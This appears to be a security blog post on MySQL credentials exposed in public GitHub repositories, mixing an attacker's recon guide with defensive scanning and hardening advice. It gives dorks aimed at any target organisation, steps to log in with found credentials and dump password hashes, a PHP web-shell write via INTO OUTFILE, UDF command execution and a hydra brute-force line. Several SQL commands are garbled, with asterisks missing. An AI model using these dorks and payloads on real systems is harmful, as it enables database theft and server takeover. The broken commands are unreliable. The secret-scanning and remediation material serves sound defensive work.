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Introduction
Hardcoded credentials remain one of the most prevalent yet preventable security flaws in modern software development. A recent HackerOne triage report revealed a critical vulnerability: MySQL usernames and passwords hardcoded directly in source code and pushed to a public GitHub repository. Attackers can discover these secrets in seconds using simple Google dorks, leading to full database compromise, data exfiltration, and lateral movement across cloud environments.
Learning Objectives
- Master GitHub dorking techniques to identify exposed MySQL credentials in public repositories
- Implement automated secret scanning pipelines using open-source tools (truffleHog, gitleaks)
- Apply remediation strategies including credential rotation, .gitignore hardening, and pre-commit hooks
You Should Know
- GitHub Dorking for Exposed MySQL Credentials – A Step‑by‑Step Recon Guide
The post highlights a simple but devastating Google dork:
`Org:YOUR-TARGET “mysql_password” AND “mysql_username”`
This search targets a specific GitHub organization and looks for files containing both strings simultaneously.
What this does:
Searches public repositories (or organization‑scoped repos if you have access) for hardcoded MySQL authentication parameters. Attackers can replace `YOUR-TARGET` with any company’s GitHub org name.
How to use it – Step by step:
- Navigate to GitHub Advanced Search (or use Google with
site:github.com).
For Google:
`site:github.com “mysql_password” “mysql_username” “host” “port”`
For GitHub native search:
`mysql_password mysql_username org:target-org`
2. Refine the dork to reduce false positives:
`”mysql_password” “mysql_username” “dbname” extension:env extension:yml extension:yaml extension:ini extension:conf`
- Extract credentials from found files – look for lines like:
mysql_host=192.168.1.100 mysql_port=3306 mysql_username=root mysql_password=Sup3rS3cr3t!
4. Validate access using a MySQL client (Linux/Windows):
Linux mysql -h 192.168.1.100 -P 3306 -u root -p'Sup3rS3cr3t!'
Windows (MySQL installed) mysql.exe -h 192.168.1.100 -P 3306 -u root -p"Sup3rS3cr3t!"
5. Enumerate the database once connected:
SHOW DATABASES; SELECT user, host, authentication_string FROM mysql.user; SHOW GRANTS FOR 'root'@'%';
Prevention commands – Remove all secrets from Git history using BFG Repo-Cleaner:
java -jar bfg.jar --replace-text passwords.txt my-repo.git git reflog expire --expire=now --all && git gc --prune=now --aggressive
2. Automated Secret Detection with truffleHog and gitleaks
Manual dorking is effective but slow. Security teams and attackers alike use automated scanners to find hundreds of secrets instantly.
Installing truffleHog (Linux/macOS):
pip install truffleHog trufflehog github --org=YOUR-TARGET --entropy=True --regex
Installing gitleaks (Windows/Linux):
Linux wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.0/gitleaks_8.18.0_linux_x64.tar.gz tar -xzf gitleaks_8.18.0_linux_x64.tar.gz sudo mv gitleaks /usr/local/bin/ Windows (using chocolatey) choco install gitleaks
Scan a specific repo:
gitleaks detect --source=https://github.com/target-org/target-repo --verbose
Integrate into CI/CD (GitHub Actions example):
name: Secret Scan
on: [push, pull_request]
jobs:
gitleaks:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
What this does: Scans every commit, branch, and tag for high‑entropy strings (like passwords, API keys) and known secret patterns. Blocks merging if a secret is found.
- Remediation: Rotating Exposed MySQL Credentials and Hardening Cloud Databases
Once a hardcoded credential is discovered in a public repo, assume it is already compromised. Immediate steps:
Step 1 – Revoke and rotate credentials
On the MySQL server (Linux):
ALTER USER 'root'@'%' IDENTIFIED BY 'NewC0mpl3xP@ssw0rd!'; REVOKE ALL PRIVILEGES ON . FROM 'root'@'%'; GRANT SELECT, INSERT, UPDATE ON myapp. TO 'appuser'@'10.0.0.%' IDENTIFIED BY 'AppUs3rP@ss'; FLUSH PRIVILEGES;
Step 2 – Restrict network exposure
Use cloud security groups or iptables to allow MySQL only from trusted IPs:
iptables on Linux MySQL host iptables -A INPUT -p tcp --dport 3306 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 3306 -j DROP
Step 3 – Enable MySQL SSL/TLS
Generate certificates and force encrypted connections:
/etc/mysql/my.cnf [bash] require_secure_transport = ON ssl-ca = /etc/mysql/ca.pem ssl-cert = /etc/mysql/server-cert.pem ssl-key = /etc/mysql/server-key.pem
Step 4 – Audit for persistence
Check for backdoor users and unusual grants:
SELECT FROM mysql.user WHERE authentication_string != ''; SHOW PROCESSLIST;
4. Hardening Git Workflows to Prevent Secret Leakage
The root cause is developers committing secrets. Implement these controls:
Pre‑commit hook (Linux/macOS):
Create `.git/hooks/pre-commit`:
!/bin/bash if git grep -E "mysql_password|api_key|secret" -- ':!.md' ; then echo "❌ Hardcoded secret detected. Commit rejected." exit 1 fi
Use `.gitignore` aggressively:
Never commit these .env .pem .key config/database.yml secrets.yml
GitHub Push Protection (free for public repos):
Navigate to `Settings → Code security → Push protection` and enable it. GitHub will block any push containing secrets (including MySQL credentials) and notify the security team.
Audit existing history with `git log -S`:
Search for password strings in all commits git log -S "mysql_password" --source --all git log -S "root" --oneline -- /.env
- Cloud Database Hardening – AWS RDS, GCP Cloud SQL, Azure MySQL
When MySQL runs in the cloud, misconfigurations multiply risk. Use these commands and policies:
AWS RDS – Enforce SSL and rotate credentials automatically:
aws rds modify-db-instance --db-instance-identifier mydb \ --ca-certificate-identifier rds-ca-2019 \ --apply-immediately aws secretsmanager rotate-secret --secret-id prod/mysql/root
GCP Cloud SQL – Require SSL and disable root remote access:
gcloud sql instances patch my-instance --require-ssl gcloud sql users delete root --host=% --instance=my-instance gcloud sql users create appuser --instance=my-instance --password=SECURE
Azure MySQL – Firewall and audit logs:
az mysql server firewall-rule create --server mydb --name "allow_app" ` --start-ip-address 10.0.0.1 --end-ip-address 10.0.0.254 az mysql server configuration set --name log_audit ` --value ON --resource-group mygroup --server mydb
Best practice: Never use root for application connections. Create least‑privilege users:
CREATE USER 'app'@'10.0.0.%' IDENTIFIED BY 'AppOnly'; GRANT SELECT, INSERT, UPDATE ON app_db. TO 'app'@'10.0.0.%'; REVOKE DROP, DELETE, CREATE ON . FROM 'app'@'10.0.0.%';
- Post‑Exploitation: What an Attacker Does with Exposed MySQL Credentials
Understanding the attacker’s playbook helps prioritize defenses. After connecting to MySQL with exposed root credentials, they will:
1. Extract sensitive data
SELECT FROM users WHERE email LIKE '%@company.com'; SELECT credit_card, ssn FROM payments;
- Write files to the server (if `secure_file_priv` is empty)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-
Escalate to OS command execution via User Defined Functions (UDF)
Compile malicious UDF (attacker side) gcc -shared -o lib_mysqludf_sys.so sys_exec.c Upload and load SELECT sys_exec('id > /tmp/pwned');
4. Pivot to other cloud resources
MySQL credentials often reuse the same password for AWS keys or SSH. Attackers will try:
hydra -l root -p ExposedMySQLPass ssh://target-ip
Mitigation:
- Set `secure_file_priv = “/dev/null”` in MySQL config.
- Disable `SELECT INTO OUTFILE` for non‑admin users.
- Never reuse passwords across services.
- Deploy a WAF or RASP to detect SQL injection and file write attempts.
What Undercode Say
- Key Takeaway 1: A single hardcoded MySQL credential in a public GitHub repo is a direct path to full database compromise. The dork `Org:YOUR-TARGET “mysql_password” AND “mysql_username”` is actively used by bug bounty hunters and attackers alike – it works because developers still commit secrets.
- Key Takeaway 2: Prevention is cheaper than incident response. Automated secret scanning (truffleHog, gitleaks) combined with pre‑commit hooks and GitHub push protection stops 99% of leaks before they reach the public repository.
Analysis: The HackerOne triage mentioned in the post confirms that this class of vulnerability remains eligible for bounties – meaning even large corporations struggle with basic credential hygiene. Organizations focus on sophisticated zero‑day exploits while ignoring low‑hanging fruit like `.env` files in public repos. Attackers have automated crawlers scanning GitHub every minute; the window between a developer’s `git push` and the first automated exploit is often under 60 seconds. Cloud databases make the problem worse because credentials exposed on GitHub give attackers direct access to production data without needing network pivoting. The only reliable fix is cultural: treat secrets like nuclear launch codes – never hardcode, never share, always rotate.
Prediction
Over the next 12 months, we will see a surge in AI‑powered secret discovery tools that not only find hardcoded MySQL credentials but also automatically test them against cloud database endpoints and attempt lateral movement. Simultaneously, GitHub and other platforms will introduce mandatory secret scanning with automatic revocation via OAuth integrations (e.g., auto‑rotating leaked AWS keys). Companies that fail to implement pre‑commit hooks and CI/CD secret scanning will face regulatory fines under GDPR/CCPA when exposed credentials lead to data breaches. The HackerOne report style dork will evolve into a full‑fledged attack framework – turning public repo secrets into click‑to‑exploit ransomware vectors.
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IT/Security Reporter URL:
Reported By: Geologist 009258228 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
